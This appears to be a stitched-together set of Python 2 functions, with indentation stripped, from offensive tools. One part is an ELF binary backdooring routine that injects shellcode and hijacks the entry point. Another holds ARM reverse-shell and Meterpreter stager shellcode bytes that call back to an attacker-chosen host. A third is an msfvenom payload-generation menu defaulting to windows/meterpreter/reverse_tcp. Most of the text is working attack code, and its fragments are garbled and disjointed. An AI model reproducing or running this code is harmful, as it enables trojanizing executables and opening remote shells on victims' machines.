def gather_file_info(self):
|
print '[*] Gathering file info'
bin = self.bin_file
bin.seek(0)
EI_MAG = bin.read(4)
self.EI_CLASS = struct.unpack('<B', bin.read(1))[0]
self.EI_DATA = struct.unpack('<B', bin.read(1))[0]
if (self.EI_DATA == 1):
self.endian = '<'
else:
self.endian = '>'
self.EI_VERSION = struct.unpack('<B', bin.read(1))[0]
self.EI_OSABI = struct.unpack('<B', bin.read(1))[0]
self.EI_ABIVERSION = struct.unpack('<B', bin.read(1))[0]
self.EI_PAD = struct.unpack((self.endian + 'BBBBBBB'), bin.read(7))[0]
self.e_type = struct.unpack((self.endian + 'H'), bin.read(2))[0]
self.e_machine = struct.unpack((self.endian + 'H'), bin.read(2))[0]
self.e_version = struct.unpack((self.endian + 'I'), bin.read(4))[0]
if (self.EI_CLASS == 1):
self.e_entryLocOnDisk = bin.tell()
self.e_entry = struct.unpack((self.endian + 'I'), bin.read(4))[0]
self.e_phoff = struct.unpack((self.endian + 'I'), bin.read(4))[0]
self.e_shoff = struct.unpack((self.endian + 'I'), bin.read(4))[0]
else:
self.e_entryLocOnDisk = bin.tell()
self.e_entry = struct.unpack((self.endian + 'Q'), bin.read(8))[0]
self.e_phoff = struct.unpack((self.endian + 'Q'), bin.read(8))[0]
self.e_shoff = struct.unpack((self.endian + 'Q'), bin.read(8))[0]
self.VrtStrtngPnt = self.e_entry
self.e_flags = struct.unpack((self.endian + 'I'), bin.read(4))[0]
self.e_ehsize = struct.unpack((self.endian + 'H'), bin.read(2))[0]
self.e_phentsize = struct.unpack((self.endian + 'H'), bin.read(2))[0]
self.e_phnum = struct.unpack((self.endian + 'H'), bin.read(2))[0]
self.e_shentsize = struct.unpack((self.endian + 'H'), bin.read(2))[0]
self.e_shnum = struct.unpack((self.endian + 'H'), bin.read(2))[0]
self.e_shstrndx = struct.unpack((self.endian + 'H'), bin.read(2))[0]
bin.seek(self.e_phoff, 0)
if (self.e_shnum == 0):
print 'more than 0xFF00 sections, wtf?'
self.real_num_sections = self.sh_size
else:
self.real_num_sections = self.e_shnum
bin.seek(self.e_phoff, 0)
self.prog_hdr = {}
for i in range(self.e_phnum):
self.prog_hdr[i] = {}
if (self.EI_CLASS == 1):
self.prog_hdr[i]['p_type'] = struct.unpack((self.endian + 'I'), bin.read(4))[0]
self.prog_hdr[i]['p_offset'] = struct.unpack((self.endian + 'I'), bin.read(4))[0]
self.prog_hdr[i]['p_vaddr'] = struct.unpack((self.endian + 'I'), bin.read(4))[0]
self.prog_hdr[i]['p_paddr'] = struct.unpack((self.endian + 'I'), bin.read(4))[0]
self.prog_hdr[i]['p_filesz'] = struct.unpack((self.endian + 'I'), bin.read(4))[0]
self.prog_hdr[i]['p_memsz'] = struct.unpack((self.endian + 'I'), bin.read(4))[0]
self.prog_hdr[i]['p_flags'] = struct.unpack((self.endian + 'I'), bin.read(4))[0]
self.prog_hdr[i]['p_align'] = struct.unpack((self.endian + 'I'), bin.read(4))[0]
else:
self.prog_hdr[i]['p_type'] = struct.unpack((self.endian + 'I'), bin.read(4))[0]
self.prog_hdr[i]['p_flags'] = struct.unpack((self.endian + 'I'), bin.read(4))[0]
self.prog_hdr[i]['p_offset'] = struct.unpack((self.endian + 'Q'), bin.read(8))[0]
self.prog_hdr[i]['p_vaddr'] = struct.unpack((self.endian + 'Q'), bin.read(8))[0]
self.prog_hdr[i]['p_paddr'] = struct.unpack((self.endian + 'Q'), bin.read(8))[0]
self.prog_hdr[i]['p_filesz'] = struct.unpack((self.endian + 'Q'), bin.read(8))[0]
self.prog_hdr[i]['p_memsz'] = struct.unpack((self.endian + 'Q'), bin.read(8))[0]
self.prog_hdr[i]['p_align'] = struct.unpack((self.endian + 'Q'), bin.read(8))[0]
if ((self.prog_hdr[i]['p_type'] == 1) and (self.prog_hdr[i]['p_vaddr'] < self.e_entry)):
self.offset_addr = self.prog_hdr[i]['p_vaddr']
self.LocOfEntryinCode = (self.e_entry - self.offset_addr)
bin.seek(self.e_shoff, 0)
self.sec_hdr = {}
for i in range(self.e_shnum):
self.sec_hdr[i] = {}
if (self.EI_CLASS == 1):
self.sec_hdr[i]['sh_name'] = struct.unpack((self.endian + 'I'), bin.read(4))[0]
self.sec_hdr[i]['sh_type'] = struct.unpack((self.endian + 'I'), bin.read(4))[0]
self.sec_hdr[i]['sh_flags'] = struct.unpack((self.endian + 'I'), bin.read(4))[0]
self.sec_hdr[i]['sh_addr'] = struct.unpack((self.endian + 'I'), bin.read(4))[0]
self.sec_hdr[i]['sh_offset'] = struct.unpack((self.endian + 'I'), bin.read(4))[0]
self.sec_hdr[i]['sh_size'] = struct.unpack((self.endian + 'I'), bin.read(4))[0]
self.sec_hdr[i]['sh_link'] = struct.unpack((self.endian + 'I'), bin.read(4))[0]
self.sec_hdr[i]['sh_info'] = struct.unpack((self.endian + 'I'), bin.read(4))[0]
self.sec_hdr[i]['sh_addralign'] = struct.unpack((self.endian + 'I'), bin.read(4))[0]
self.sec_hdr[i]['sh_entsize'] = struct.unpack((self.endian + 'I'), bin.read(4))[0]
else:
self.sec_hdr[i]['sh_name'] = struct.unpack((self.endian + 'I'), bin.read(4))[0]
self.sec_hdr[i]['sh_type'] = struct.unpack((self.endian + 'I'), bin.read(4))[0]
self.sec_hdr[i]['sh_flags'] = struct.unpack((self.endian + 'Q'), bin.read(8))[0]
self.sec_hdr[i]['sh_addr'] = struct.unpack((self.endian + 'Q'), bin.read(8))[0]
self.sec_hdr[i]['sh_offset'] = struct.unpack((self.endian + 'Q'), bin.read(8))[0]
self.sec_hdr[i]['sh_size'] = struct.unpack((self.endian + 'Q'), bin.read(8))[0]
self.sec_hdr[i]['sh_link'] = struct.unpack((self.endian + 'I'), bin.read(4))[0]
self.sec_hdr[i]['sh_info'] = struct.unpack((self.endian + 'I'), bin.read(4))[0]
self.sec_hdr[i]['sh_addralign'] = struct.unpack((self.endian + 'Q'), bin.read(8))[0]
self.sec_hdr[i]['sh_entsize'] = struct.unpack((self.endian + 'Q'), bin.read(8))[0]
self.set_section_name()
if (self.e_type != 2):
print '[!] Only supporting executable elf e_types, things may get weird.'
|
'Output file check.'
|
def output_options(self):
|
if (not self.OUTPUT):
self.OUTPUT = os.path.basename(self.FILE)
|
'Circa 1998: http://vxheavens.com/lib/vsc01.html <--Thanks to elfmaster
6. Increase p_shoff by PAGE_SIZE in the ELF header
7. Patch the insertion code (parasite) to jump to the entry point (original)
1. Locate the text segment program header
-Modify the entry point of the ELF header to point to the new code (p_vaddr + p_filesz)
-Increase p_filesz by account for the new code (parasite)
-Increase p_memsz to account for the new code (parasite)
2. For each phdr who\'s segment is after the insertion (text segment)
-increase p_offset by PAGE_SIZE
3. For the last shdr in the text segment
-increase sh_len by the parasite length
4. For each shdr who\'s section resides after the insertion
-Increase sh_offset by PAGE_SIZE
5. Physically insert the new code (parasite) and pad to PAGE_SIZE,
into the file - text segment p_offset + p_filesz (original)'
|
def patch_elf(self):
|
self.support_check()
if (self.supported is False):
'ELF Binary not supported'
return False
self.output_options()
if (not os.path.exists('backdoored')):
os.makedirs('backdoored')
os_name = os.name
if (os_name == 'nt'):
self.backdoorfile = ('backdoored\\' + self.OUTPUT)
else:
self.backdoorfile = ('backdoored/' + self.OUTPUT)
shutil.copy2(self.FILE, self.backdoorfile)
self.gather_file_info()
print '[*] Getting shellcode length'
resultShell = self.set_shells()
if (resultShell is False):
print '[!] Could not set shell'
return False
self.bin_file = open(self.backdoorfile, 'r+b')
newBuffer = len(self.shellcode)
self.bin_file.seek(24, 0)
headerTracker = 0
PAGE_SIZE = 4096
for (header, values) in self.prog_hdr.iteritems():
if ((values['p_flags'] == 5) and (values['p_type'] == 1)):
self.shellcode_vaddr = (values['p_vaddr'] + values['p_filesz'])
beginOfSegment = values['p_vaddr']
oldentry = self.e_entry
sizeOfNewSegment = (values['p_memsz'] + newBuffer)
LOCofNewSegment = (values['p_filesz'] + newBuffer)
headerTracker = header
newOffset = (values['p_offset'] + values['p_filesz'])
print '[*] Setting selected shellcode'
resultShell = self.set_shells()
self.bin_file.seek(0)
file_1st_part = self.bin_file.read(newOffset)
newSectionOffset = self.bin_file.tell()
file_2nd_part = self.bin_file.read()
self.bin_file.close()
self.bin_file = open(self.backdoorfile, 'w+b')
self.bin_file.write(file_1st_part)
self.bin_file.write(self.shellcode)
self.bin_file.write(('\x00' * (PAGE_SIZE - len(self.shellcode))))
self.bin_file.write(file_2nd_part)
if (self.EI_CLASS == 1):
print '[*] Patching x86 Binary'
self.bin_file.seek(24, 0)
self.bin_file.seek(8, 1)
self.bin_file.write(struct.pack((self.endian + 'I'), (self.e_shoff + PAGE_SIZE)))
self.bin_file.seek((self.e_shoff + PAGE_SIZE), 0)
for i in range(self.e_shnum):
if (self.sec_hdr[i]['sh_offset'] >= newOffset):
self.bin_file.seek(16, 1)
self.bin_file.write(struct.pack((self.endian + 'I'), (self.sec_hdr[i]['sh_offset'] + PAGE_SIZE)))
self.bin_file.seek(20, 1)
elif ((self.sec_hdr[i]['sh_size'] + self.sec_hdr[i]['sh_addr']) == self.shellcode_vaddr):
self.bin_file.seek(20, 1)
self.bin_file.write(struct.pack((self.endian + 'I'), (self.sec_hdr[i]['sh_size'] + newBuffer)))
self.bin_file.seek(16, 1)
else:
self.bin_file.seek(40, 1)
after_textSegment = False
self.bin_file.seek(self.e_phoff, 0)
for i in range(self.e_phnum):
if (i == headerTracker):
after_textSegment = True
self.bin_file.seek(16, 1)
self.bin_file.write(struct.pack((self.endian + 'I'), (self.prog_hdr[i]['p_filesz'] + newBuffer)))
self.bin_file.write(struct.pack((self.endian + 'I'), (self.prog_hdr[i]['p_memsz'] + newBuffer)))
self.bin_file.seek(8, 1)
elif (after_textSegment is True):
self.bin_file.seek(4, 1)
self.bin_file.write(struct.pack((self.endian + 'I'), (self.prog_hdr[i]['p_offset'] + PAGE_SIZE)))
self.bin_file.seek(24, 1)
else:
self.bin_file.seek(32, 1)
self.bin_file.seek(self.e_entryLocOnDisk, 0)
self.bin_file.write(struct.pack((self.endian + 'I'), self.shellcode_vaddr))
self.JMPtoCodeAddress = ((self.shellcode_vaddr - self.e_entry) - 5)
else:
print '[*] Patching x64 Binary'
self.bin_file.seek(24, 0)
self.bin_file.seek(16, 1)
self.bin_file.write(struct.pack((self.endian + 'I'), (self.e_shoff + PAGE_SIZE)))
self.bin_file.seek((self.e_shoff + PAGE_SIZE), 0)
for i in range(self.e_shnum):
if (self.sec_hdr[i]['sh_offset'] >= newOffset):
self.bin_file.seek(24, 1)
self.bin_file.write(struct.pack((self.endian + 'Q'), (self.sec_hdr[i]['sh_offset'] + PAGE_SIZE)))
self.bin_file.seek(32, 1)
elif ((self.sec_hdr[i]['sh_size'] + self.sec_hdr[i]['sh_addr']) == self.shellcode_vaddr):
self.bin_file.seek(32, 1)
self.bin_file.write(struct.pack((self.endian + 'Q'), (self.sec_hdr[i]['sh_size'] + newBuffer)))
self.bin_file.seek(24, 1)
else:
self.bin_file.seek(64, 1)
after_textSegment = False
self.bin_file.seek(self.e_phoff, 0)
for i in range(self.e_phnum):
if (i == headerTracker):
after_textSegment = True
self.bin_file.seek(32, 1)
self.bin_file.write(struct.pack((self.endian + 'Q'), (self.prog_hdr[i]['p_filesz'] + newBuffer)))
self.bin_file.write(struct.pack((self.endian + 'Q'), (self.prog_hdr[i]['p_memsz'] + newBuffer)))
self.bin_file.seek(8, 1)
elif (after_textSegment is True):
self.bin_file.seek(8, 1)
self.bin_file.write(struct.pack((self.endian + 'Q'), (self.prog_hdr[i]['p_offset'] + PAGE_SIZE)))
self.bin_file.seek(40, 1)
else:
self.bin_file.seek(56, 1)
self.bin_file.seek(self.e_entryLocOnDisk, 0)
self.bin_file.write(struct.pack((self.endian + 'Q'), self.shellcode_vaddr))
self.JMPtoCodeAddress = ((self.shellcode_vaddr - self.e_entry) - 5)
self.bin_file.close()
print '[!] Patching Complete'
return True
|
'Modified from metasploit payload/linux/armle/shell_reverse_tcp
to correctly fork the shellcode payload and contiue normal execution.'
|
def reverse_shell_tcp(self, CavesPicked={}):
|
if (self.PORT is None):
print 'Must provide port'
sys.exit(1)
self.shellcode1 = '\x00@\xa0\xe1'
self.shellcode1 += '\x00\x00@\xe0'
self.shellcode1 += '\x02p\xa0\xe3'
self.shellcode1 += '\x00\x00\x00\xef'
self.shellcode1 += '\x00\x00P\xe3'
self.shellcode1 += '\x04\x00\xa0\xe1'
self.shellcode1 += '\x04@D\xe0'
self.shellcode1 += '\x00p\xa0\xe3'
self.shellcode1 += '\x00\x00\x00\n'
jmpAddr = (16777215 + (((self.e_entry - (self.shellcode_vaddr + len(self.shellcode1))) - 4) / 4))
self.shellcode1 += struct.pack('<I', jmpAddr).strip('\x00')
self.shellcode1 += '\xea'
self.shellcode1 += '\x02\x00\xa0\xe3\x01\x10\xa0\xe3\x05 \x81\xe2\x8cp\xa0\xe3\x8dp\x87\xe2\x00\x00\x00\xef\x00`\xa0\xe1\x84\x10\x8f\xe2\x10 \xa0\xe3\x8dp\xa0\xe3\x8ep\x87\xe2\x00\x00\x00\xef\x06\x00\xa0\xe1\x00\x10\xa0\xe3?p\xa0\xe3\x00\x00\x00\xef\x06\x00\xa0\xe1\x01\x10\xa0\xe3?p\xa0\xe3\x00\x00\x00\xef\x06\x00\xa0\xe1\x02\x10\xa0\xe3?p\xa0\xe3\x00\x00\x00\xefH\x00\x8f\xe2\x04@$\xe0\x10\x00-\xe9\r \xa0\xe1\x04\x00-\xe9\r \xa0\xe1\x10\x00-\xe9H\x10\x9f\xe5\x02\x00-\xe9\x00 -\xe9\r\x10\xa0\xe1\x04\x00-\xe9\r \xa0\xe1\x0bp\xa0\xe3\x00\x00\x00\xef\x00\x00\xa0\xe3\x01p\xa0\xe3\x00\x00\x00\xef\x02\x00'
self.shellcode1 += struct.pack('!H', self.PORT)
self.shellcode1 += self.pack_ip_addresses()
self.shellcode1 += '/bin/sh\x00\x00\x00\x00\x00\x00\x00\x00\x00-C\x00\x00'
self.shellcode = self.shellcode1
return self.shellcode1
|
'FOR USE WITH STAGER TCP PAYLOADS INCLUDING METERPRETER
Modified metasploit payload/linux/armle/shell/reverse_tcp
to correctly fork the shellcode payload and contiue normal execution.'
|
def reverse_tcp_stager(self, CavesPicked={}):
|
if (self.PORT is None):
print 'Must provide port'
sys.exit(1)
self.shellcode1 = '\x00@\xa0\xe1'
self.shellcode1 += '\x00\x00@\xe0'
self.shellcode1 += '\x02p\xa0\xe3'
self.shellcode1 += '\x00\x00\x00\xef'
self.shellcode1 += '\x00\x00P\xe3'
self.shellcode1 += '\x04\x00\xa0\xe1'
self.shellcode1 += '\x04@D\xe0'
self.shellcode1 += '\x00p\xa0\xe3'
self.shellcode1 += '\x00\x00\x00\n'
jmpAddr = (16777215 + (((self.e_entry - (self.shellcode_vaddr + len(self.shellcode1))) - 4) / 4))
self.shellcode1 += struct.pack('<I', jmpAddr).strip('\x00')
self.shellcode1 += '\xea'
self.shellcode1 += '\xb4p\x9f\xe5\x02\x00\xa0\xe3\x01\x10\xa0\xe3\x06 \xa0\xe3\x00\x00\x00\xef\x00\xc0\xa0\xe1\x02p\x87\xe2\x90\x10\x8f\xe2\x10 \xa0\xe3\x00\x00\x00\xef\x0c\x00\xa0\xe1\x04\xd0M\xe2\x08p\x87\xe2\r\x10\xa0\xe1\x04 \xa0\xe3\x000\xa0\xe3\x00\x00\x00\xef\x00\x10\x9d\xe5p0\x9f\xe5\x03\x10\x01\xe0\x01 \xa0\xe3\x02&\xa0\xe1\x02\x10\x81\xe0\xc0p\xa0\xe3\x00\x00\xe0\xe3\x07 \xa0\xe3T0\x9f\xe5\x00@\xa0\xe1\x00P\xa0\xe3\x00\x00\x00\xefcp\x87\xe2\x00\x10\xa0\xe1\x0c\x00\xa0\xe1\x000\xa0\xe3\x00 \x9d\xe5\xfa/B\xe2\x00 \x8d\xe5\x00\x00R\xe3\x02\x00\x00\xda\xfa/\xa0\xe3\x00\x00\x00\xef\xf7\xff\xff\xea\xfa/\x82\xe2\x00\x00\x00\xef\x01\xf0\xa0\xe1\x02\x00'
self.shellcode1 += struct.pack('!H', self.PORT)
self.shellcode1 += self.pack_ip_addresses()
self.shellcode1 += '\x19\x01\x00\x00\x00\xf0\xff\xff"\x10\x00\x00'
self.shellcode = self.shellcode1
return self.shellcode1
|
'For user supplied shellcode'
|
def user_supplied_shellcode(self, CavesPicked={}):
|
if (self.SUPPLIED_SHELLCODE is None):
print '[!] User must provide shellcode for this module (-U)'
sys.exit(0)
else:
supplied_shellcode = open(self.SUPPLIED_SHELLCODE, 'r+b').read()
self.shellcode1 = '\x00@\xa0\xe1'
self.shellcode1 += '\x00\x00@\xe0'
self.shellcode1 += '\x02p\xa0\xe3'
self.shellcode1 += '\x00\x00\x00\xef'
self.shellcode1 += '\x00\x00P\xe3'
self.shellcode1 += '\x04\x00\xa0\xe1'
self.shellcode1 += '\x04@D\xe0'
self.shellcode1 += '\x00p\xa0\xe3'
self.shellcode1 += '\x00\x00\x00\n'
jmpAddr = (16777215 + (((self.e_entry - (self.shellcode_vaddr + len(self.shellcode1))) - 4) / 4))
self.shellcode1 += struct.pack('<I', jmpAddr).strip('\x00')
self.shellcode1 += '\xea'
self.shellcode1 += supplied_shellcode
self.shellcode = self.shellcode1
return self.shellcode1
|
'reset the state of any internal variables, everything but self.payloadTree'
|
def Reset(self):
|
self.msfvenomCommand = ''
self.msfvenomOptions = list()
self.customshellcode = ''
self.msfvenompayload = ''
self.options = list()
|
'Crawls the metasploit install tree and extracts available payloads
and their associated required options for langauges specified.'
|
def LoadModules(self):
|
msfFolder = settings.METASPLOIT_PATH
platforms = ['windows']
for platform in platforms:
self.payloadTree[platform] = {}
stagesX86 = list()
stagersX86 = list()
stagesX64 = list()
stagersX64 = list()
for (root, dirs, files) in os.walk((((settings.METASPLOIT_PATH + '/modules/payloads/stages/') + platform) + '/')):
for f in files:
stageName = f.split('.')[0]
if ('x64' in root):
stagesX64.append(f.split('.')[0])
if ('x64' not in self.payloadTree[platform]):
self.payloadTree[platform]['x64'] = {}
self.payloadTree[platform]['x64'][stageName] = {}
elif ('x86' in root):
stagesX86.append(f.split('.')[0])
if ('x86' not in self.payloadTree[platform]):
self.payloadTree[platform]['x86'] = {}
self.payloadTree[platform]['x86'][stageName] = {}
else:
stagesX86.append(f.split('.')[0])
if (stageName not in self.payloadTree[platform]):
self.payloadTree[platform][stageName] = {}
for (root, dirs, files) in os.walk((((settings.METASPLOIT_PATH + '/modules/payloads/stagers/') + platform) + '/')):
for f in files:
if ('.rb' in f):
extraOptions = list()
moduleName = f.split('.')[0]
lines = open(((root + '/') + f)).readlines()
for line in lines:
if (('OptString' in line.strip()) and ('true' in line.strip())):
cmd = line.strip().split(',')[0].replace('OptString.new(', '')[1:(-1)]
extraOptions.append(cmd)
if ('bind' in f):
if ('x64' in root):
for stage in stagesX64:
self.payloadTree[platform]['x64'][stage][moduleName] = (['LPORT'] + extraOptions)
elif ('x86' in root):
for stage in stagesX86:
self.payloadTree[platform]['x86'][stage][moduleName] = (['LPORT'] + extraOptions)
else:
for stage in stagesX86:
self.payloadTree[platform][stage][moduleName] = (['LPORT'] + extraOptions)
if ('reverse' in f):
if ('x64' in root):
for stage in stagesX64:
self.payloadTree[platform]['x64'][stage][moduleName] = (['LHOST', 'LPORT'] + extraOptions)
elif ('x86' in root):
for stage in stagesX86:
self.payloadTree[platform]['x86'][stage][moduleName] = (['LHOST', 'LPORT'] + extraOptions)
else:
for stage in stagesX86:
self.payloadTree[platform][stage][moduleName] = (['LHOST', 'LPORT'] + extraOptions)
for (root, dirs, files) in os.walk((((settings.METASPLOIT_PATH + '/modules/payloads/singles/') + platform) + '/')):
for f in files:
if ('.rb' in f):
lines = open(((root + '/') + f)).readlines()
totalOptions = list()
moduleName = f.split('.')[0]
for line in lines:
if (('OptString' in line.strip()) and ('true' in line.strip())):
cmd = line.strip().split(',')[0].replace('OptString.new(', '')[1:(-1)]
totalOptions.append(cmd)
if ('bind' in f):
totalOptions.append('LPORT')
if ('reverse' in f):
totalOptions.append('LHOST')
totalOptions.append('LPORT')
if ('x64' in root):
self.payloadTree[platform]['x64'][moduleName] = totalOptions
elif ('x86' in root):
self.payloadTree[platform]['x86'][moduleName] = totalOptions
else:
self.payloadTree[platform][moduleName] = totalOptions
|
'Manually set the payload/options, used in scripting
payloadAndOptions = nested 2 element list of [msfvenom_payload, ["option=value",...]]
i.e. ["windows/meterpreter/reverse_tcp", ["LHOST=192.168.1.1","LPORT=443"]]'
|
def SetPayload(self, payloadAndOptions):
|
payload = payloadAndOptions[0]
options = payloadAndOptions[1]
msfvenomOptions = ''
if hasattr(settings, 'MSFVENOM_OPTIONS'):
msfvenomOptions = settings.MSFVENOM_OPTIONS
self.msfvenomCommand = ((('msfvenom ' + msfvenomOptions) + ' -p ') + payload)
if options:
for option in options:
self.msfvenomCommand += ((' ' + option) + ' ')
self.msfvenomCommand += ' -f c | tr -d \'"\' | tr -d \'\\n\''
self.msfvenompayload = payload
if options:
for option in options:
self.msfvenomOptions.append(option)
|
'Manually set self.customshellcode to the shellcode string passed.
customShellcode = shellcode string (" ...")'
|
def setCustomShellcode(self, customShellcode):
|
self.customshellcode = customShellcode
|
'Menu to prompt the user for a custom shellcode string.
Returns None if nothing is specified.'
|
def custShellcodeMenu(self, showTitle=True):
|
if showTitle:
messages.title()
print ' [?] Use msfvenom or supply custom shellcode?\n'
print (' %s - msfvenom %s' % (helpers.color('1'), helpers.color('(default)', yellow=True)))
print (' %s - custom shellcode string' % helpers.color('2'))
print (' %s - file with shellcode (raw)\n' % helpers.color('3'))
try:
choice = self.required_options['SHELLCODE'][0].lower().strip()
print (' [>] Please enter the number of your choice: %s' % choice)
except:
choice = raw_input(' [>] Please enter the number of your choice: ').strip()
if (choice == '3'):
comp = completers.PathCompleter()
readline.set_completer_delims(' DCTB \n;')
readline.parse_and_bind('tab: complete')
readline.set_completer(comp.complete)
filePath = raw_input(' [>] Please enter the path to your raw shellcode file: ')
try:
shellcodeFile = open(filePath, 'rb')
CustShell = shellcodeFile.read()
shellcodeFile.close()
except:
print helpers.color(' [!] WARNING: path not found, defaulting to msfvenom!', warning=True)
return None
if (len(CustShell) == 0):
print helpers.color(' [!] WARNING: no custom shellcode restrieved, defaulting to msfvenom!', warning=True)
return None
if ((CustShell[0:2] == '\\x') and (CustShell[4:6] == '\\x')):
return CustShell
else:
hexString = binascii.hexlify(CustShell)
CustShell = ('\\x' + '\\x'.join([hexString[i:(i + 2)] for i in range(0, len(hexString), 2)]))
return CustShell
readline.set_completer(None)
elif ((choice == '2') or (choice == 'string')):
CustomShell = raw_input(' [>] Please enter custom shellcode (one line, no quotes, \\x00.. format): ')
if (len(CustomShell) == 0):
print helpers.color(' [!] WARNING: no shellcode specified, defaulting to msfvenom!', warning=True)
return CustomShell
elif ((choice == '') or (choice == '1') or (choice == 'msf') or (choice == 'metasploit') or (choice == 'msfvenom')):
return None
else:
print helpers.color(' [!] WARNING: Invalid option chosen, defaulting to msfvenom!', warning=True)
return None
|
'Main interactive menu for shellcode selection.
Utilizes Completer() to do tab completion on loaded metasploit payloads.'
|
def menu(self):
|
payloadSelected = None
options = None
showMessage = False
if (settings.TERMINAL_CLEAR != 'false'):
showMessage = True
if ((self.msfvenomCommand == '') and (self.customshellcode == '')):
if (settings.TERMINAL_CLEAR != 'false'):
showMessage = True
customShellcode = self.custShellcodeMenu(showMessage)
if customShellcode:
self.customshellcode = customShellcode
else:
comp = completers.MSFCompleter(self.payloadTree)
readline.set_completer_delims(' DCTB \n;')
readline.parse_and_bind('tab: complete')
readline.set_completer(comp.complete)
while (payloadSelected == None):
print ('\n [*] Press %s for windows/meterpreter/reverse_tcp' % helpers.color('[enter]', yellow=True))
print (' [*] Press %s to list available payloads' % helpers.color('[tab]', yellow=True))
try:
payloadSelected = self.required_options['MSF_PAYLOAD'][0]
print (' [>] Please enter metasploit payload: %s' % payloadSelected)
except:
payloadSelected = raw_input(' [>] Please enter metasploit payload: ').strip()
if (payloadSelected == ''):
payloadSelected = 'windows/meterpreter/reverse_tcp'
try:
parts = payloadSelected.split('/')
options = self.payloadTree
for part in parts:
options = options[part]
except KeyError:
if ('PAYLOAD' in self.required_options):
del self.required_options['PAYLOAD']
print helpers.color(' [!] ERROR: Invalid payload specified!\n', warning=True)
payloadSelected = None
readline.set_completer(None)
self.msfvenompayload = payloadSelected
for option in options:
value = ''
while (value == ''):
if (option == 'LHOST'):
try:
value = self.required_options['LHOST'][0]
print (" [>] Enter value for 'LHOST', [tab] for local IP: %s" % value)
except:
readline.set_completer(completers.IPCompleter().complete)
value = raw_input(" [>] Enter value for 'LHOST', [tab] for local IP: ").strip()
if ('.' in value):
hostParts = value.split('.')
if (len(hostParts) > 1):
if hostParts[(-1)].isdigit():
if (not re.match('^(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])$', value)):
if ('LHOST' in self.required_options):
del self.required_options['LHOST']
print helpers.color('\n [!] ERROR: Bad IP address specified.\n', warning=True)
value = ''
elif (not helpers.isValidHostname(value)):
if ('LHOST' in self.required_options):
del self.required_options['LHOST']
print helpers.color('\n [!] ERROR: Bad hostname specified.\n', warning=True)
value = ''
else:
if ('LHOST' in self.required_options):
del self.required_options['LHOST']
print helpers.color('\n [!] ERROR: Bad IP address or hostname specified.\n', warning=True)
value = ''
elif (':' in value):
try:
socket.inet_pton(socket.AF_INET6, value)
except socket.error:
if ('LHOST' in self.required_options):
del self.required_options['LHOST']
print helpers.color('\n [!] ERROR: Bad IP address or hostname specified.\n', warning=True)
value = ''
else:
if ('LHOST' in self.required_options):
del self.required_options['LHOST']
print helpers.color('\n [!] ERROR: Bad IP address or hostname specified.\n', warning=True)
value = ''
elif (option == 'LPORT'):
try:
value = self.required_options['LPORT'][0]
print (" [>] Enter value for 'LPORT': %s" % value)
except:
readline.set_completer(completers.MSFPortCompleter().complete)
value = raw_input(" [>] Enter value for 'LPORT': ").strip()
try:
if ((int(value) <= 0) or (int(value) >= 65535)):
print helpers.color(' [!] ERROR: Bad port number specified.\n', warning=True)
if ('LPORT' in self.required_options):
del self.required_options['LPORT']
value = ''
except ValueError:
print helpers.color(' [!] ERROR: Bad port number specified.\n', warning=True)
if ('LPORT' in self.required_options):
del self.required_options['LPORT']
value = ''
else:
value = raw_input(((" [>] Enter value for '" + option) + "': ")).strip()
self.msfvenomOptions.append(((option + '=') + value))
extraValues = list()
while True:
readline.set_completer(completers.none().complete)
selection = raw_input(' [>] Enter any extra msfvenom options (syntax: OPTION1=value1 or -OPTION2=value2): ').strip()
if (selection != ''):
num_extra_options = selection.split(' ')
for xtra_opt in num_extra_options:
if (xtra_opt is not ''):
if ('=' not in xtra_opt):
print 'parameter grammar error!'
continue
if ('-' in xtra_opt.split('=')[0]):
final_opt = ((xtra_opt.split('=')[0] + ' ') + xtra_opt.split('=')[1])
extraValues.append(final_opt)
else:
final_opt = ((xtra_opt.split('=')[0] + '=') + xtra_opt.split('=')[1])
extraValues.append(final_opt)
else:
break
msfvenomOptions = ''
if hasattr(settings, 'MSFVENOM_OPTIONS'):
msfvenomOptions = settings.MSFVENOM_OPTIONS
self.msfvenomCommand = ((('msfvenom ' + msfvenomOptions) + ' -p ') + payloadSelected)
for option in self.msfvenomOptions:
self.msfvenomCommand += (' ' + option)
self.options.append(option)
if (len(extraValues) != 0):
self.msfvenomCommand += (' ' + ' '.join(extraValues))
self.msfvenomCommand += ' -f c | tr -d \'"\' | tr -d \'\\n\''
|
'Based on the options set by menu(), setCustomShellcode() or SetPayload()
either returns the custom shellcode string or calls msfvenom
and returns the result.
Returns the shellcode string for this object.'
|
def generate(self, required_options=None):
|
self.required_options = required_options
if ((self.msfvenomCommand == '') and (self.customshellcode == '')):
self.menu()
if (self.customshellcode != ''):
return self.customshellcode
else:
print helpers.color('\n [*] Generating shellcode...')
if (self.msfvenomCommand == ''):
print helpers.color(' [!] ERROR: msfvenom command not specified in payload!\n', warning=True)
return None
else:
FuncShellcode = subprocess.check_output((settings.MSFVENOM_PATH + self.msfvenomCommand), shell=True)
try:
f = open((settings.METASPLOIT_PATH + '/build_rev.txt'))
lines = f.readlines()
f.close()
version = lines[0]
(major, date) = version.split('-')
if (int(date) < 2014021901):
return FuncShellcode[82:(-1)].strip()
else:
return FuncShellcode[22:(-1)].strip()
except:
return FuncShellcode[22:(-1)].strip()
|
'Complete payload/module'
|
def complete_use(self, args):
|
res = []
payloads = []
for (name, payload) in self.payloads:
payloads.append(name)
if (len(args[0].split('/')) == 1):
res = ([m for m in payloads if m.startswith(args[0])] + [None])
else:
lang = args[0].split('/')[0]
rest = '/'.join(args[0].split('/')[1:])
payloads = []
for (name, payload) in self.payloads:
parts = name.split('/')
for x in xrange(len(parts)):
if (parts[x] == lang):
payloads.append('/'.join(parts[(x + 1):]))
res = ([(((lang + '/') + m) + ' ') for m in payloads if m.startswith(rest)] + [None])
return res
|
'Complete payload/module'
|
def complete_info(self, args):
|
res = []
payloads = []
for (name, payload) in self.payloads:
payloads.append(name)
if (len(args[0].split('/')) == 1):
res = ([m for m in payloads if m.startswith(args[0])] + [None])
else:
lang = args[0].split('/')[0]
rest = '/'.join(args[0].split('/')[1:])
payloads = []
for (name, payload) in self.payloads:
parts = name.split('/')
for x in xrange(len(parts)):
if (parts[x] == lang):
payloads.append('/'.join(parts[(x + 1):]))
res = ([(((lang + '/') + m) + ' ') for m in payloads if m.startswith(rest)] + [None])
return res
|
'Generic readline completion entry point.'
|
def complete(self, text, state):
|
buffer = readline.get_line_buffer()
line = readline.get_line_buffer().split()
